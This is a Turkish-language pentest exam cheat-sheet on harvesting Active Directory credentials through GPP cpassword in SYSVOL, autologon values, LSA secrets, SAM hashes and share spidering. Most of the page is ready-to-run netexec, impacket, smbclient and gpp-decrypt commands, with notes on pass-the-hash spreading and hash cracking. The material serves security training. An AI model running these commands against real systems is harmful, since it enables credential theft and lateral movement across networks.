FOOTHOLD Metodoloji Cheat-sheet
Post ✓ EXAM-SAFE orta :445:139

Credential Harvesting — GPP cpassword, SYSVOL, LSA Secrets, SAM

Domain icinde dolasan kimlik bilgilerini topla: SYSVOL'deki Groups.xml GPP cpassword (statik AES anahtariyla decrypt edilir), paylasimlardaki/registrydeki/dosyalardaki sifreler, ve makine uzerinde LSA secrets + SAM hash'leri. Tek bir cleartext sifre veya hash genelde yatay/dikey hareketin anahtaridir.

Bilgi: ÖN KOŞULLAR
  • En az bir gecerli domain hesabi (SYSVOL/paylasim okuma) ya da hedef makinede local admin (LSA/SAM dump)
  • GPP icin: eski (2008 R2 oncesi olceklerde) ya da yanlis konfigure edilmis GPO'lar
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} -M gpp_password
SYSVOL'u tarayip Groups.xml/Scheduledtasks.xml icindeki cpassword degerlerini bulup otomatik decrypt eder. NetExec Wiki — gpp_password module; HackTricks AD — GPP Password
netexec ✓ EXAM-SAFE user
nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} -M gpp_autologin
Registry.xml icindeki autologon (DefaultPassword) kimlik bilgilerini cikarir. NetExec Wiki — gpp_autologin module
impacket-Get-GPPPassword ✓ EXAM-SAFE user
impacket-Get-GPPPassword -dc-ip {{DC_IP}} {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_HOST}}
Impacket ile SYSVOL'deki tum GPP cpassword'leri toplar ve decrypt eder (auth'lu). HackTricks AD — GPP Password; Impacket examples Get-GPPPassword.py
smbclient ✓ EXAM-SAFE user
smbclient //{{DC_IP}}/SYSVOL -U '{{DOMAIN}}/{{USER}}%{{PASS}}' -c 'recurse ON; prompt OFF; mget *'
SYSVOL'u indirip Groups.xml/Registry.xml/scripts icinde manuel cpassword/sifre arar. HackTricks AD — SYSVOL & GPP
gpp-decrypt ✓ EXAM-SAFE
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
Elde edilen cpassword string'ini Microsoft'un public AES-256 anahtariyla cozer (offline). HackTricks AD — GPP Password (gpp-decrypt)
netexec ✓ EXAM-SAFE admin
nxc smb {{RHOST}} -u {{USER}} -p {{PASS}} --local-auth --lsa
LSA secrets'i dumplar: cached domain creds (DCC2), service account sifreleri, DPAPI machine key. Local admin gerekir. NetExec Wiki — --lsa; HackTricks — LSA Secrets
netexec ✓ EXAM-SAFE admin
nxc smb {{RHOST}} -u {{USER}} -p {{PASS}} --local-auth --sam
Local SAM veritabanindaki kullanici NTLM hash'lerini dumplar (pass-the-hash icin kullanilir). NetExec Wiki — --sam; HackTricks — SAM dump
impacket-secretsdump ✓ EXAM-SAFE admin
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}
Remote SAM + LSA secrets + cached creds'i SMB/RemoteRegistry uzerinden ceker (local admin gerekir). WADComs — Impacket-secretsdump; HackTricks — secretsdump
netexec ✓ EXAM-SAFE user
nxc smb {{RHOSTS}} -u {{USER}} -p {{PASS}} --spider C\$ --content --pattern password pass cpassword
Paylasimlardaki dosyalarda 'password' gecen icerikleri tarar (config, txt, xml, ps1). NetExec Wiki — --spider/--content; HackTricks — share spidering

Neden cred harvesting?

Active Directory’de yatay/dikey hareket cogu zaman tek bir sizmis sifre veya NTLM hash’le baslar. Bu sayfa, makineye girdikten (ya da sadece dusuk yetkili bir domain hesabin oldugunda) gidip toplayabilecegin tum kredansiyel kaynaklarini kapsar.

1. GPP cpassword (SYSVOL’un altin madeni)

Eski Group Policy Preferences (GPP), mapped drive / scheduled task / local user gibi ayarlarda sifreleri cpassword alaninda saklardi. Sorun: Microsoft, sifreleyen AES-256 anahtarini MSDN’de public olarak yayinladi. Yani SYSVOL’u okuyabilen herkes (her domain user okuyabilir) bu sifreleri decrypt edebilir.

Aranacak dosyalar: Groups.xml, Services.xml, Scheduledtasks.xml, DataSources.xml, Printers.xml, Drives.xml. cpassword="" (bos) ise sifre yok demektir.

Otomatik yol: nxc ... -M gpp_password ya da impacket-Get-GPPPassword. Bulunan string’i ayrica gpp-decrypt ile offline cozebilirsin.

2. Autologon (Registry.xml)

gpp_autologin modulu, otomatik oturum acan makinelerin DefaultUserName/DefaultPassword degerlerini cikarir. Genelde kiosk/ortak makinelerde temiz parola dusurur.

3. LSA Secrets

Makinede local admin isen --lsa ile LSA secret store’u dumplarsin. Burada cached domain logon (DCC2/MSCash2 — sadece kirilabilir, pass edilemez), servis hesabi cleartext sifreleri (_SC_<service>), ve DPAPI machine masterkey bulunur. Servis hesabi sifresi cogu zaman domain hesabidir = direkt yatay hareket.

4. SAM

--sam local kullanicilarin (Administrator dahil) NTLM hash’lerini verir. Bu hash’ler pass-the-hash icin kullanilir; ayni local admin sifresi parola yeniden kullaniliyorsa tum ag boyunca PtH ile yayilirsin (LAPS yoksa).

5. Paylasim/dosya/registry tarama

--spider --content --pattern ile dosya icerigi tara; config dosyalari, PowerShell scriptleri, unattend.xml, web.config connection string’leri sik hedeftir.

Sik hatalar

  • GPP modern domainlerde (2012+) cogu zaml temizdir; yine de eski GPO artiklari kalmis olabilir, SYSVOL’u manuel tara.
  • SAM/LSA dump icin local auth bayraginı (--local-auth) unutma; domain hesabi local admin degilse erisemezsin.
  • LSA’daki DCC2 hash’i pass edilemez, yalnizca hashcat ile kirilir (mode 2100).
┌──

Kaynaklar

0/15 set